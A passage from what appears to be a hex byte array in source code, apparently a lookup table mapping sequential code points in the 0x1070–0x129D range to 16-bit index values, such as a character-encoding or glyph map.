0x0e, +0x00, 0x10, 0x70, 0x80, 0x0e, +0x00, 0x10, 0x71, 0x81, 0x0e, +0x00, 0x10, 0x72, 0x82, 0x0e, +0x00, 0x10, 0x73, 0x83, 0x0e, +0x00, 0x10, 0x74, 0x84, 0x0e, +0x00, 0x10, 0x75, 0x85, 0x0e, +0x00, 0x10, 0x76, 0x86, 0x0e, +0x00, 0x10, 0x77, 0x87, 0x0e, +0x00, 0x10, 0x78, 0x88, 0x0e, +0x00, 0x10, 0x79, 0x89, 0x0e, +0x00, 0x10, 0x7A, 0x8a, 0x0e, +0x00, 0x10, 0x7B, 0x05, 0x00, +0x00, 0x10, 0x7C, 0x8b, 0x0e, +0x00, 0x10, 0x7D, 0x8c, 0x0e, +0x00, 0x10, 0x7E, 0x8d, 0x0e, +0x00, 0x10, 0x7F, 0x8e, 0x0e, +0x00, 0x10, 0x80, 0x8f, 0x0e, +0x00, 0x10, 0x81, 0x90, 0x0e, +0x00, 0x10, 0x82, 0x91, 0x0e, +0x00, 0x10, 0x83, 0x92, 0x0e, +0x00, 0x10, 0x84, 0x93, 0x0e, +0x00, 0x10, 0x85, 0x94, 0x0e, +0x00, 0x10, 0x86, 0x95, 0x0e, +0x00, 0x10, 0x87, 0x96, 0x0e, +0x00, 0x10, 0x88, 0x36, 0x06, +0x00, 0x10, 0x89, 0x97, 0x0e, +0x00, 0x10, 0x8A, 0x98, 0x0e, +0x00, 0x10, 0x8B, 0x99, 0x0e, +0x00, 0x10, 0x8C, 0xc5, 0x09, +0x00, 0x10, 0x8D, 0x9a, 0x0e, +0x00, 0x10, 0x8E, 0x9b, 0x0e, +0x00, 0x10, 0x8F, 0x9c, 0x0e, +0x00, 0x10, 0x90, 0x9d, 0x0e, +0x00, 0x10, 0x91, 0x9e, 0x0e, +0x00, 0x10, 0x92, 0x9f, 0x0e, +0x00, 0x10, 0x93, 0xa0, 0x0e, +0x00, 0x10, 0x94, 0xa1, 0x0e, +0x00, 0x10, 0x95, 0x17, 0x07, +0x00, 0x10, 0x96, 0xa2, 0x0e, +0x00, 0x10, 0x97, 0xa3, 0x0e, +0x00, 0x10, 0x98, 0xa4, 0x0e, +0x00, 0x10, 0x99, 0xf6, 0x04, +0x00, 0x10, 0x9A, 0xa5, 0x0e, +0x00, 0x10, 0x9B, 0x2b, 0x09, +0x00, 0x10, 0x9C, 0xa6, 0x0e, +0x00, 0x10, 0x9D, 0xa7, 0x0e, +0x00, 0x10, 0x9E, 0xa8, 0x0e, +0x00, 0x10, 0x9F, 0xa9, 0x0e, +0x00, 0x10, 0xA0, 0xaa, 0x0e, +0x00, 0x10, 0xA1, 0xab, 0x0e, +0x00, 0x10, 0xA2, 0xac, 0x0e, +0x00, 0x10, 0xA3, 0xf8, 0x05, +0x00, 0x10, 0xA4, 0xad, 0x0e, +0x00, 0x10, 0xA5, 0xae, 0x0e, +0x00, 0x10, 0xA6, 0x05, 0x00, +0x00, 0x10, 0xA7, 0x8d, 0x01, +0x00, 0x10, 0xA8, 0xaf, 0x0e, +0x00, 0x10, 0xA9, 0xb0, 0x0e, +0x00, 0x10, 0xAA, 0xb1, 0x0e, +0x00, 0x10, 0xAB, 0xb2, 0x0e, +0x00, 0x10, 0xAC, 0xb3, 0x0e, +0x00, 0x10, 0xAD, 0xb4, 0x0e, +0x00, 0x10, 0xAE, 0xb5, 0x0e, +0x00, 0x10, 0xAF, 0xb6, 0x0e, +0x00, 0x10, 0xB0, 0xb7, 0x0e, +0x00, 0x10, 0xB1, 0xb8, 0x0e, +0x00, 0x10, 0xB2, 0xb9, 0x0e, +0x00, 0x10, 0xB3, 0xba, 0x0e, +0x00, 0x10, 0xB4, 0xbb, 0x0e, +0x00, 0x10, 0xB5, 0xda, 0x00, +0x00, 0x10, 0xB6, 0xbc, 0x0e, +0x00, 0x10, 0xB7, 0xbd, 0x0e, +0x00, 0x10, 0xB8, 0xbe, 0x0e, +0x00, 0x10, 0xB9, 0xbf, 0x0e, +0x00, 0x10, 0xBA, 0xc0, 0x0e, +0x00, 0x10, 0xBB, 0xc1, 0x0e, +0x00, 0x10, 0xBC, 0xc2, 0x0e, +0x00, 0x10, 0xBD, 0xc3, 0x0e, +0x00, 0x10, 0xBE, 0xc4, 0x0e, +0x00, 0x10, 0xBF, 0xc5, 0x0e, +0x00, 0x10, 0xC0, 0xc6, 0x0e, +0x00, 0x10, 0xC1, 0xc7, 0x0e, +0x00, 0x10, 0xC2, 0xc8, 0x0e, +0x00, 0x10, 0xC3, 0xc9, 0x0e, +0x00, 0x10, 0xC4, 0xca, 0x0e, +0x00, 0x10, 0xC5, 0xcb, 0x0e, +0x00, 0x10, 0xC6, 0x0a, 0x01, +0x00, 0x10, 0xC7, 0xcc, 0x0e, +0x00, 0x10, 0xC8, 0x5a, 0x08, +0x00, 0x10, 0xC9, 0xb2, 0x00, +0x00, 0x10, 0xCA, 0x18, 0x00, +0x00, 0x10, 0xCB, 0xcd, 0x0e, +0x00, 0x10, 0xCC, 0xce, 0x0e, +0x00, 0x10, 0xCD, 0xaa, 0x08, +0x00, 0x10, 0xCE, 0xcf, 0x0e, +0x00, 0x10, 0xCF, 0xd0, 0x0e, +0x00, 0x10, 0xD0, 0xd1, 0x0e, +0x00, 0x10, 0xD1, 0xd2, 0x0e, +0x00, 0x10, 0xD2, 0xd3, 0x0e, +0x00, 0x10, 0xD3, 0xd4, 0x0e, +0x00, 0x10, 0xD4, 0xd5, 0x0e, +0x00, 0x10, 0xD5, 0xd6, 0x0e, +0x00, 0x10, 0xD6, 0xd7, 0x0e, +0x00, 0x10, 0xD7, 0xd8, 0x0e, +0x00, 0x10, 0xD8, 0xd9, 0x0e, +0x00, 0x10, 0xD9, 0xda, 0x0e, +0x00, 0x10, 0xDA, 0xfa, 0x01, +0x00, 0x10, 0xDB, 0x08, 0x05, +0x00, 0x10, 0xDC, 0x28, 0x0b, +0x00, 0x10, 0xDD, 0xdb, 0x0e, +0x00, 0x10, 0xDE, 0xdf, 0x03, +0x00, 0x10, 0xDF, 0xdc, 0x0e, +0x00, 0x10, 0xE0, 0x10, 0x00, +0x00, 0x10, 0xE1, 0xdd, 0x0e, +0x00, 0x10, 0xE2, 0xde, 0x0e, +0x00, 0x10, 0xE3, 0xc9, 0x01, +0x00, 0x10, 0xE4, 0xdf, 0x0e, +0x00, 0x10, 0xE5, 0x41, 0x0a, +0x00, 0x10, 0xE6, 0xe0, 0x0e, +0x00, 0x10, 0xE7, 0x3b, 0x04, +0x00, 0x10, 0xE8, 0xe1, 0x0e, +0x00, 0x10, 0xE9, 0xe2, 0x0e, +0x00, 0x10, 0xEA, 0xe3, 0x0e, +0x00, 0x10, 0xEB, 0xe4, 0x0e, +0x00, 0x10, 0xEC, 0xe5, 0x0e, +0x00, 0x10, 0xED, 0xe6, 0x0e, +0x00, 0x10, 0xEE, 0xe7, 0x0e, +0x00, 0x10, 0xEF, 0xe8, 0x0e, +0x00, 0x10, 0xF0, 0xe9, 0x0e, +0x00, 0x10, 0xF1, 0xea, 0x0e, +0x00, 0x10, 0xF2, 0xeb, 0x0e, +0x00, 0x10, 0xF3, 0xec, 0x0e, +0x00, 0x10, 0xF4, 0xed, 0x0e, +0x00, 0x10, 0xF5, 0xee, 0x0e, +0x00, 0x10, 0xF6, 0x05, 0x00, +0x00, 0x10, 0xF7, 0xef, 0x0e, +0x00, 0x10, 0xF8, 0xda, 0x01, +0x00, 0x10, 0xF9, 0xf0, 0x0e, +0x00, 0x10, 0xFA, 0x51, 0x03, +0x00, 0x10, 0xFB, 0xf1, 0x0e, +0x00, 0x10, 0xFC, 0xe6, 0x0d, +0x00, 0x10, 0xFD, 0xf2, 0x0e, +0x00, 0x10, 0xFE, 0xdf, 0x01, +0x00, 0x10, 0xFF, 0x05, 0x00, +0x00, 0x11, 0x00, 0x4d, 0x00, +0x00, 0x11, 0x01, 0xf3, 0x0e, +0x00, 0x11, 0x02, 0xf4, 0x0e, +0x00, 0x11, 0x03, 0xf5, 0x0e, +0x00, 0x11, 0x04, 0xf6, 0x0e, +0x00, 0x11, 0x05, 0xf7, 0x0e, +0x00, 0x11, 0x06, 0xf8, 0x0e, +0x00, 0x11, 0x07, 0xf9, 0x0e, +0x00, 0x11, 0x08, 0xfa, 0x0e, +0x00, 0x11, 0x09, 0x28, 0x0b, +0x00, 0x11, 0x0A, 0xc9, 0x01, +0x00, 0x11, 0x0B, 0xfb, 0x0e, +0x00, 0x11, 0x0C, 0xfc, 0x0e, +0x00, 0x11, 0x0D, 0xfd, 0x0e, +0x00, 0x11, 0x0E, 0xfe, 0x0e, +0x00, 0x11, 0x0F, 0xff, 0x0e, +0x00, 0x11, 0x10, 0x00, 0x0f, +0x00, 0x11, 0x11, 0x82, 0x02, +0x00, 0x11, 0x12, 0xc2, 0x05, +0x00, 0x11, 0x13, 0x01, 0x0f, +0x00, 0x11, 0x14, 0x02, 0x0f, +0x00, 0x11, 0x15, 0x03, 0x0f, +0x00, 0x11, 0x16, 0x04, 0x0f, +0x00, 0x11, 0x17, 0x05, 0x0f, +0x00, 0x11, 0x18, 0x06, 0x0f, +0x00, 0x11, 0x19, 0x07, 0x0f, +0x00, 0x11, 0x1A, 0xb9, 0x00, +0x00, 0x11, 0x1B, 0x08, 0x0f, +0x00, 0x11, 0x1C, 0x09, 0x0f, +0x00, 0x11, 0x1D, 0x0a, 0x0f, +0x00, 0x11, 0x1E, 0x0b, 0x0f, +0x00, 0x11, 0x1F, 0x0c, 0x0f, +0x00, 0x11, 0x20, 0x05, 0x00, +0x00, 0x11, 0x21, 0x05, 0x00, +0x00, 0x11, 0x22, 0x0d, 0x0f, +0x00, 0x11, 0x23, 0x0e, 0x0f, +0x00, 0x11, 0x24, 0x51, 0x03, +0x00, 0x11, 0x25, 0x2f, 0x02, +0x00, 0x11, 0x26, 0x0f, 0x0f, +0x00, 0x11, 0x27, 0x10, 0x0f, +0x00, 0x11, 0x28, 0x11, 0x0f, +0x00, 0x11, 0x29, 0x12, 0x0f, +0x00, 0x11, 0x2A, 0x13, 0x0f, +0x00, 0x11, 0x2B, 0x14, 0x0f, +0x00, 0x11, 0x2C, 0x15, 0x0f, +0x00, 0x11, 0x2D, 0x16, 0x0f, +0x00, 0x11, 0x2E, 0x17, 0x0f, +0x00, 0x11, 0x2F, 0x20, 0x0b, +0x00, 0x11, 0x30, 0xc0, 0x00, +0x00, 0x11, 0x31, 0x18, 0x0f, +0x00, 0x11, 0x32, 0x19, 0x0f, +0x00, 0x11, 0x33, 0xec, 0x0c, +0x00, 0x11, 0x34, 0x1a, 0x0f, +0x00, 0x11, 0x35, 0x1b, 0x0f, +0x00, 0x11, 0x36, 0x1c, 0x0f, +0x00, 0x11, 0x37, 0x1d, 0x0f, +0x00, 0x11, 0x38, 0x1e, 0x0f, +0x00, 0x11, 0x39, 0x1f, 0x0f, +0x00, 0x11, 0x3A, 0x20, 0x0f, +0x00, 0x11, 0x3B, 0x21, 0x0f, +0x00, 0x11, 0x3C, 0x22, 0x0f, +0x00, 0x11, 0x3D, 0x23, 0x0f, +0x00, 0x11, 0x3E, 0x24, 0x0f, +0x00, 0x11, 0x3F, 0x25, 0x0f, +0x00, 0x11, 0x40, 0x26, 0x0f, +0x00, 0x11, 0x41, 0x27, 0x0f, +0x00, 0x11, 0x42, 0x28, 0x0f, +0x00, 0x11, 0x43, 0xd1, 0x05, +0x00, 0x11, 0x44, 0x29, 0x0f, +0x00, 0x11, 0x45, 0x2a, 0x0f, +0x00, 0x11, 0x46, 0x2b, 0x0f, +0x00, 0x11, 0x47, 0x2c, 0x0f, +0x00, 0x11, 0x48, 0x2d, 0x0f, +0x00, 0x11, 0x49, 0x2e, 0x0f, +0x00, 0x11, 0x4A, 0x2f, 0x0f, +0x00, 0x11, 0x4B, 0x30, 0x0f, +0x00, 0x11, 0x4C, 0x31, 0x0f, +0x00, 0x11, 0x4D, 0x32, 0x0f, +0x00, 0x11, 0x4E, 0x33, 0x0f, +0x00, 0x11, 0x4F, 0x34, 0x0f, +0x00, 0x11, 0x50, 0x35, 0x0f, +0x00, 0x11, 0x51, 0x36, 0x0f, +0x00, 0x11, 0x52, 0x37, 0x0f, +0x00, 0x11, 0x53, 0x38, 0x0f, +0x00, 0x11, 0x54, 0x39, 0x0f, +0x00, 0x11, 0x55, 0x3a, 0x0f, +0x00, 0x11, 0x56, 0x3b, 0x0f, +0x00, 0x11, 0x57, 0x3c, 0x0f, +0x00, 0x11, 0x58, 0x69, 0x01, +0x00, 0x11, 0x59, 0x3d, 0x0f, +0x00, 0x11, 0x5A, 0x3e, 0x0f, +0x00, 0x11, 0x5B, 0xee, 0x06, +0x00, 0x11, 0x5C, 0x05, 0x00, +0x00, 0x11, 0x5D, 0x05, 0x00, +0x00, 0x11, 0x5E, 0x3f, 0x0f, +0x00, 0x11, 0x5F, 0x40, 0x0f, +0x00, 0x11, 0x60, 0x41, 0x0f, +0x00, 0x11, 0x61, 0x42, 0x0f, +0x00, 0x11, 0x62, 0x43, 0x0f, +0x00, 0x11, 0x63, 0x44, 0x0f, +0x00, 0x11, 0x64, 0x45, 0x0f, +0x00, 0x11, 0x65, 0x46, 0x0f, +0x00, 0x11, 0x66, 0x47, 0x0f, +0x00, 0x11, 0x67, 0xd5, 0x00, +0x00, 0x11, 0x68, 0x48, 0x0f, +0x00, 0x11, 0x69, 0x49, 0x0f, +0x00, 0x11, 0x6A, 0x4a, 0x0f, +0x00, 0x11, 0x6B, 0x48, 0x01, +0x00, 0x11, 0x6C, 0x4b, 0x0f, +0x00, 0x11, 0x6D, 0x36, 0x06, +0x00, 0x11, 0x6E, 0x4c, 0x0f, +0x00, 0x11, 0x6F, 0x4d, 0x0f, +0x00, 0x11, 0x70, 0x4e, 0x0f, +0x00, 0x11, 0x71, 0x4f, 0x0f, +0x00, 0x11, 0x72, 0x50, 0x0f, +0x00, 0x11, 0x73, 0x51, 0x0f, +0x00, 0x11, 0x74, 0x52, 0x0f, +0x00, 0x11, 0x75, 0x82, 0x02, +0x00, 0x11, 0x76, 0x53, 0x0f, +0x00, 0x11, 0x77, 0x54, 0x0f, +0x00, 0x11, 0x78, 0x55, 0x0f, +0x00, 0x11, 0x79, 0x56, 0x0f, +0x00, 0x11, 0x7A, 0x57, 0x0f, +0x00, 0x11, 0x7B, 0x58, 0x0f, +0x00, 0x11, 0x7C, 0x59, 0x0f, +0x00, 0x11, 0x7D, 0x5a, 0x0f, +0x00, 0x11, 0x7E, 0x5b, 0x0f, +0x00, 0x11, 0x7F, 0x5c, 0x0f, +0x00, 0x11, 0x80, 0xb9, 0x00, +0x00, 0x11, 0x81, 0x5d, 0x0f, +0x00, 0x11, 0x82, 0x5e, 0x0f, +0x00, 0x11, 0x83, 0x13, 0x07, +0x00, 0x11, 0x84, 0x5f, 0x0f, +0x00, 0x11, 0x85, 0xc9, 0x01, +0x00, 0x11, 0x86, 0x60, 0x0f, +0x00, 0x11, 0x87, 0x61, 0x0f, +0x00, 0x11, 0x88, 0xd6, 0x01, +0x00, 0x11, 0x89, 0x62, 0x0f, +0x00, 0x11, 0x8A, 0x63, 0x0f, +0x00, 0x11, 0x8B, 0xd1, 0x06, +0x00, 0x11, 0x8C, 0x95, 0x07, +0x00, 0x11, 0x8D, 0x64, 0x0f, +0x00, 0x11, 0x8E, 0x65, 0x0f, +0x00, 0x11, 0x8F, 0x66, 0x0f, +0x00, 0x11, 0x90, 0x48, 0x01, +0x00, 0x11, 0x91, 0x67, 0x0f, +0x00, 0x11, 0x92, 0x05, 0x00, +0x00, 0x11, 0x93, 0x05, 0x00, +0x00, 0x11, 0x94, 0x68, 0x0f, +0x00, 0x11, 0x95, 0xe8, 0x04, +0x00, 0x11, 0x96, 0x69, 0x0f, +0x00, 0x11, 0x97, 0x6a, 0x0f, +0x00, 0x11, 0x98, 0x6b, 0x0f, +0x00, 0x11, 0x99, 0x6c, 0x0f, +0x00, 0x11, 0x9A, 0x6d, 0x0f, +0x00, 0x11, 0x9B, 0x6e, 0x0f, +0x00, 0x11, 0x9C, 0x6f, 0x0f, +0x00, 0x11, 0x9D, 0x70, 0x0f, +0x00, 0x11, 0x9E, 0x41, 0x0a, +0x00, 0x11, 0x9F, 0xb9, 0x02, +0x00, 0x11, 0xA0, 0x71, 0x0f, +0x00, 0x11, 0xA1, 0x72, 0x0f, +0x00, 0x11, 0xA2, 0x11, 0x0a, +0x00, 0x11, 0xA3, 0x73, 0x0f, +0x00, 0x11, 0xA4, 0x74, 0x0f, +0x00, 0x11, 0xA5, 0x75, 0x0f, +0x00, 0x11, 0xA6, 0x76, 0x0f, +0x00, 0x11, 0xA7, 0x77, 0x0f, +0x00, 0x11, 0xA8, 0xd6, 0x0a, +0x00, 0x11, 0xA9, 0x78, 0x0f, +0x00, 0x11, 0xAA, 0x79, 0x0f, +0x00, 0x11, 0xAB, 0x7a, 0x0f, +0x00, 0x11, 0xAC, 0x7b, 0x0f, +0x00, 0x11, 0xAD, 0x0e, 0x03, +0x00, 0x11, 0xAE, 0xb9, 0x00, +0x00, 0x11, 0xAF, 0x7c, 0x0f, +0x00, 0x11, 0xB0, 0x7d, 0x0f, +0x00, 0x11, 0xB1, 0x7e, 0x0f, +0x00, 0x11, 0xB2, 0x7f, 0x0f, +0x00, 0x11, 0xB3, 0x80, 0x0f, +0x00, 0x11, 0xB4, 0xdb, 0x06, +0x00, 0x11, 0xB5, 0xe9, 0x01, +0x00, 0x11, 0xB6, 0x81, 0x0f, +0x00, 0x11, 0xB7, 0x82, 0x0f, +0x00, 0x11, 0xB8, 0x83, 0x0f, +0x00, 0x11, 0xB9, 0x84, 0x0f, +0x00, 0x11, 0xBA, 0x85, 0x0f, +0x00, 0x11, 0xBB, 0x05, 0x00, +0x00, 0x11, 0xBC, 0x05, 0x00, +0x00, 0x11, 0xBD, 0x86, 0x0f, +0x00, 0x11, 0xBE, 0x87, 0x0f, +0x00, 0x11, 0xBF, 0x88, 0x0f, +0x00, 0x11, 0xC0, 0x89, 0x0f, +0x00, 0x11, 0xC1, 0x8a, 0x0f, +0x00, 0x11, 0xC2, 0x8b, 0x0f, +0x00, 0x11, 0xC3, 0x8c, 0x0f, +0x00, 0x11, 0xC4, 0x8d, 0x0f, +0x00, 0x11, 0xC5, 0x8e, 0x0f, +0x00, 0x11, 0xC6, 0x70, 0x04, +0x00, 0x11, 0xC7, 0x8f, 0x0f, +0x00, 0x11, 0xC8, 0x90, 0x0f, +0x00, 0x11, 0xC9, 0x91, 0x0f, +0x00, 0x11, 0xCA, 0x92, 0x0f, +0x00, 0x11, 0xCB, 0x93, 0x0f, +0x00, 0x11, 0xCC, 0xd3, 0x06, +0x00, 0x11, 0xCD, 0x94, 0x0f, +0x00, 0x11, 0xCE, 0x95, 0x0f, +0x00, 0x11, 0xCF, 0x96, 0x0f, +0x00, 0x11, 0xD0, 0x97, 0x0f, +0x00, 0x11, 0xD1, 0x98, 0x0f, +0x00, 0x11, 0xD2, 0x99, 0x0f, +0x00, 0x11, 0xD3, 0x9a, 0x0f, +0x00, 0x11, 0xD4, 0x9b, 0x0f, +0x00, 0x11, 0xD5, 0x10, 0x0e, +0x00, 0x11, 0xD6, 0x9c, 0x0f, +0x00, 0x11, 0xD7, 0x9d, 0x0f, +0x00, 0x11, 0xD8, 0x20, 0x0b, +0x00, 0x11, 0xD9, 0x9e, 0x0f, +0x00, 0x11, 0xDA, 0x9f, 0x0f, +0x00, 0x11, 0xDB, 0xa0, 0x0f, +0x00, 0x11, 0xDC, 0xa1, 0x0f, +0x00, 0x11, 0xDD, 0xa2, 0x0f, +0x00, 0x11, 0xDE, 0xa3, 0x0f, +0x00, 0x11, 0xDF, 0xa4, 0x0f, +0x00, 0x11, 0xE0, 0xa5, 0x0f, +0x00, 0x11, 0xE1, 0xa6, 0x0f, +0x00, 0x11, 0xE2, 0xa7, 0x0f, +0x00, 0x11, 0xE3, 0x17, 0x07, +0x00, 0x11, 0xE4, 0xa8, 0x0f, +0x00, 0x11, 0xE5, 0xa9, 0x0f, +0x00, 0x11, 0xE6, 0x8c, 0x01, +0x00, 0x11, 0xE7, 0xaa, 0x0f, +0x00, 0x11, 0xE8, 0xab, 0x0f, +0x00, 0x11, 0xE9, 0xac, 0x0f, +0x00, 0x11, 0xEA, 0xad, 0x0f, +0x00, 0x11, 0xEB, 0xd3, 0x01, +0x00, 0x11, 0xEC, 0xae, 0x0f, +0x00, 0x11, 0xED, 0xaf, 0x0f, +0x00, 0x11, 0xEE, 0xb0, 0x0f, +0x00, 0x11, 0xEF, 0xb1, 0x0f, +0x00, 0x11, 0xF0, 0xb2, 0x0f, +0x00, 0x11, 0xF1, 0xb3, 0x0f, +0x00, 0x11, 0xF2, 0xb4, 0x0f, +0x00, 0x11, 0xF3, 0xb5, 0x0f, +0x00, 0x11, 0xF4, 0xb6, 0x0f, +0x00, 0x11, 0xF5, 0xb7, 0x0f, +0x00, 0x11, 0xF6, 0xb8, 0x0f, +0x00, 0x11, 0xF7, 0xe9, 0x01, +0x00, 0x11, 0xF8, 0xb9, 0x0f, +0x00, 0x11, 0xF9, 0x69, 0x01, +0x00, 0x11, 0xFA, 0xba, 0x0f, +0x00, 0x11, 0xFB, 0x63, 0x01, +0x00, 0x11, 0xFC, 0xd1, 0x09, +0x00, 0x11, 0xFD, 0xbb, 0x0f, +0x00, 0x11, 0xFE, 0xbc, 0x0f, +0x00, 0x11, 0xFF, 0xbd, 0x0f, +0x00, 0x12, 0x00, 0x05, 0x00, +0x00, 0x12, 0x01, 0x05, 0x00, +0x00, 0x12, 0x02, 0xbe, 0x0f, +0x00, 0x12, 0x03, 0xbf, 0x0f, +0x00, 0x12, 0x04, 0xc0, 0x0f, +0x00, 0x12, 0x05, 0xc1, 0x0f, +0x00, 0x12, 0x06, 0xc2, 0x0f, +0x00, 0x12, 0x07, 0xc3, 0x0f, +0x00, 0x12, 0x08, 0xc4, 0x0f, +0x00, 0x12, 0x09, 0xc5, 0x0f, +0x00, 0x12, 0x0A, 0xd8, 0x09, +0x00, 0x12, 0x0B, 0xc6, 0x0f, +0x00, 0x12, 0x0C, 0xc7, 0x0f, +0x00, 0x12, 0x0D, 0xf7, 0x01, +0x00, 0x12, 0x0E, 0xc8, 0x0f, +0x00, 0x12, 0x0F, 0xc9, 0x0f, +0x00, 0x12, 0x10, 0xca, 0x0f, +0x00, 0x12, 0x11, 0xcb, 0x0f, +0x00, 0x12, 0x12, 0xcc, 0x0f, +0x00, 0x12, 0x13, 0xcd, 0x0f, +0x00, 0x12, 0x14, 0xce, 0x0f, +0x00, 0x12, 0x15, 0xcf, 0x0f, +0x00, 0x12, 0x16, 0xd0, 0x0f, +0x00, 0x12, 0x17, 0xf9, 0x0a, +0x00, 0x12, 0x18, 0xd1, 0x0f, +0x00, 0x12, 0x19, 0xd2, 0x0f, +0x00, 0x12, 0x1A, 0xd3, 0x0f, +0x00, 0x12, 0x1B, 0xd4, 0x0f, +0x00, 0x12, 0x1C, 0xd5, 0x0f, +0x00, 0x12, 0x1D, 0xd6, 0x0f, +0x00, 0x12, 0x1E, 0x08, 0x05, +0x00, 0x12, 0x1F, 0xd7, 0x0f, +0x00, 0x12, 0x20, 0xd8, 0x0f, +0x00, 0x12, 0x21, 0xd9, 0x0f, +0x00, 0x12, 0x22, 0xda, 0x0f, +0x00, 0x12, 0x23, 0xdb, 0x0f, +0x00, 0x12, 0x24, 0xdc, 0x0f, +0x00, 0x12, 0x25, 0xb9, 0x00, +0x00, 0x12, 0x26, 0xdd, 0x0f, +0x00, 0x12, 0x27, 0xfb, 0x0e, +0x00, 0x12, 0x28, 0xde, 0x0f, +0x00, 0x12, 0x29, 0xdf, 0x0f, +0x00, 0x12, 0x2A, 0xe0, 0x0f, +0x00, 0x12, 0x2B, 0xe1, 0x0f, +0x00, 0x12, 0x2C, 0xe2, 0x0f, +0x00, 0x12, 0x2D, 0xe3, 0x0f, +0x00, 0x12, 0x2E, 0x55, 0x04, +0x00, 0x12, 0x2F, 0xe4, 0x0f, +0x00, 0x12, 0x30, 0xe5, 0x0f, +0x00, 0x12, 0x31, 0x03, 0x08, +0x00, 0x12, 0x32, 0xe6, 0x0f, +0x00, 0x12, 0x33, 0xe7, 0x0f, +0x00, 0x12, 0x34, 0xe8, 0x0f, +0x00, 0x12, 0x35, 0xe9, 0x0f, +0x00, 0x12, 0x36, 0xea, 0x0f, +0x00, 0x12, 0x37, 0xeb, 0x0f, +0x00, 0x12, 0x38, 0xec, 0x0f, +0x00, 0x12, 0x39, 0xed, 0x0f, +0x00, 0x12, 0x3A, 0xee, 0x0f, +0x00, 0x12, 0x3B, 0xef, 0x0f, +0x00, 0x12, 0x3C, 0xf0, 0x0f, +0x00, 0x12, 0x3D, 0xf1, 0x0f, +0x00, 0x12, 0x3E, 0xf2, 0x0f, +0x00, 0x12, 0x3F, 0xd1, 0x05, +0x00, 0x12, 0x40, 0xf3, 0x0f, +0x00, 0x12, 0x41, 0xf4, 0x0f, +0x00, 0x12, 0x42, 0xf5, 0x0f, +0x00, 0x12, 0x43, 0x05, 0x00, +0x00, 0x12, 0x44, 0x05, 0x00, +0x00, 0x12, 0x45, 0xf6, 0x0f, +0x00, 0x12, 0x46, 0xf7, 0x0f, +0x00, 0x12, 0x47, 0x4f, 0x02, +0x00, 0x12, 0x48, 0x8f, 0x00, +0x00, 0x12, 0x49, 0xe2, 0x05, +0x00, 0x12, 0x4A, 0xf8, 0x0f, +0x00, 0x12, 0x4B, 0xeb, 0x0f, +0x00, 0x12, 0x4C, 0xf9, 0x0f, +0x00, 0x12, 0x4D, 0xfa, 0x0f, +0x00, 0x12, 0x4E, 0xfb, 0x0f, +0x00, 0x12, 0x4F, 0xfc, 0x0f, +0x00, 0x12, 0x50, 0xfd, 0x0f, +0x00, 0x12, 0x51, 0xfe, 0x0f, +0x00, 0x12, 0x52, 0xff, 0x0f, +0x00, 0x12, 0x53, 0x00, 0x10, +0x00, 0x12, 0x54, 0x01, 0x10, +0x00, 0x12, 0x55, 0x02, 0x10, +0x00, 0x12, 0x56, 0x03, 0x10, +0x00, 0x12, 0x57, 0x04, 0x10, +0x00, 0x12, 0x58, 0x05, 0x10, +0x00, 0x12, 0x59, 0x06, 0x10, +0x00, 0x12, 0x5A, 0xb4, 0x03, +0x00, 0x12, 0x5B, 0x07, 0x10, +0x00, 0x12, 0x5C, 0x08, 0x10, +0x00, 0x12, 0x5D, 0x2d, 0x0a, +0x00, 0x12, 0x5E, 0x09, 0x10, +0x00, 0x12, 0x5F, 0x0a, 0x10, +0x00, 0x12, 0x60, 0x0b, 0x10, +0x00, 0x12, 0x61, 0x0c, 0x10, +0x00, 0x12, 0x62, 0xb9, 0x02, +0x00, 0x12, 0x63, 0x0d, 0x10, +0x00, 0x12, 0x64, 0x0e, 0x10, +0x00, 0x12, 0x65, 0x0f, 0x10, +0x00, 0x12, 0x66, 0x10, 0x10, +0x00, 0x12, 0x67, 0x5e, 0x0d, +0x00, 0x12, 0x68, 0x11, 0x10, +0x00, 0x12, 0x69, 0x12, 0x10, +0x00, 0x12, 0x6A, 0x13, 0x10, +0x00, 0x12, 0x6B, 0x14, 0x10, +0x00, 0x12, 0x6C, 0x15, 0x10, +0x00, 0x12, 0x6D, 0x16, 0x10, +0x00, 0x12, 0x6E, 0x17, 0x10, +0x00, 0x12, 0x6F, 0x18, 0x10, +0x00, 0x12, 0x70, 0x19, 0x10, +0x00, 0x12, 0x71, 0x1a, 0x10, +0x00, 0x12, 0x72, 0x1b, 0x10, +0x00, 0x12, 0x73, 0x1c, 0x10, +0x00, 0x12, 0x74, 0x1d, 0x10, +0x00, 0x12, 0x75, 0x1e, 0x10, +0x00, 0x12, 0x76, 0x1f, 0x10, +0x00, 0x12, 0x77, 0x20, 0x10, +0x00, 0x12, 0x78, 0xdf, 0x03, +0x00, 0x12, 0x79, 0xc9, 0x01, +0x00, 0x12, 0x7A, 0x21, 0x10, +0x00, 0x12, 0x7B, 0x22, 0x10, +0x00, 0x12, 0x7C, 0x23, 0x10, +0x00, 0x12, 0x7D, 0x24, 0x10, +0x00, 0x12, 0x7E, 0x25, 0x10, +0x00, 0x12, 0x7F, 0x05, 0x00, +0x00, 0x12, 0x80, 0x05, 0x00, +0x00, 0x12, 0x81, 0xc4, 0x0e, +0x00, 0x12, 0x82, 0x26, 0x10, +0x00, 0x12, 0x83, 0x69, 0x01, +0x00, 0x12, 0x84, 0x27, 0x10, +0x00, 0x12, 0x85, 0x28, 0x10, +0x00, 0x12, 0x86, 0x29, 0x10, +0x00, 0x12, 0x87, 0xdf, 0x01, +0x00, 0x12, 0x88, 0x02, 0x0c, +0x00, 0x12, 0x89, 0x2a, 0x10, +0x00, 0x12, 0x8A, 0xb9, 0x00, +0x00, 0x12, 0x8B, 0x2b, 0x10, +0x00, 0x12, 0x8C, 0x2c, 0x10, +0x00, 0x12, 0x8D, 0x2d, 0x10, +0x00, 0x12, 0x8E, 0x2e, 0x10, +0x00, 0x12, 0x8F, 0x2f, 0x10, +0x00, 0x12, 0x90, 0x1f, 0x01, +0x00, 0x12, 0x91, 0x30, 0x10, +0x00, 0x12, 0x92, 0x31, 0x10, +0x00, 0x12, 0x93, 0x32, 0x10, +0x00, 0x12, 0x94, 0x58, 0x00, +0x00, 0x12, 0x95, 0x33, 0x10, +0x00, 0x12, 0x96, 0x34, 0x10, +0x00, 0x12, 0x97, 0x35, 0x10, +0x00, 0x12, 0x98, 0x36, 0x10, +0x00, 0x12, 0x99, 0x37, 0x10, +0x00, 0x12, 0x9A, 0x38, 0x10, +0x00, 0x12, 0x9B, 0x39, 0x10, +0x00, 0x12, 0x9C, 0x3a, 0x10, +0x00, 0x12, 0x9D, 0x3b, 0x10, 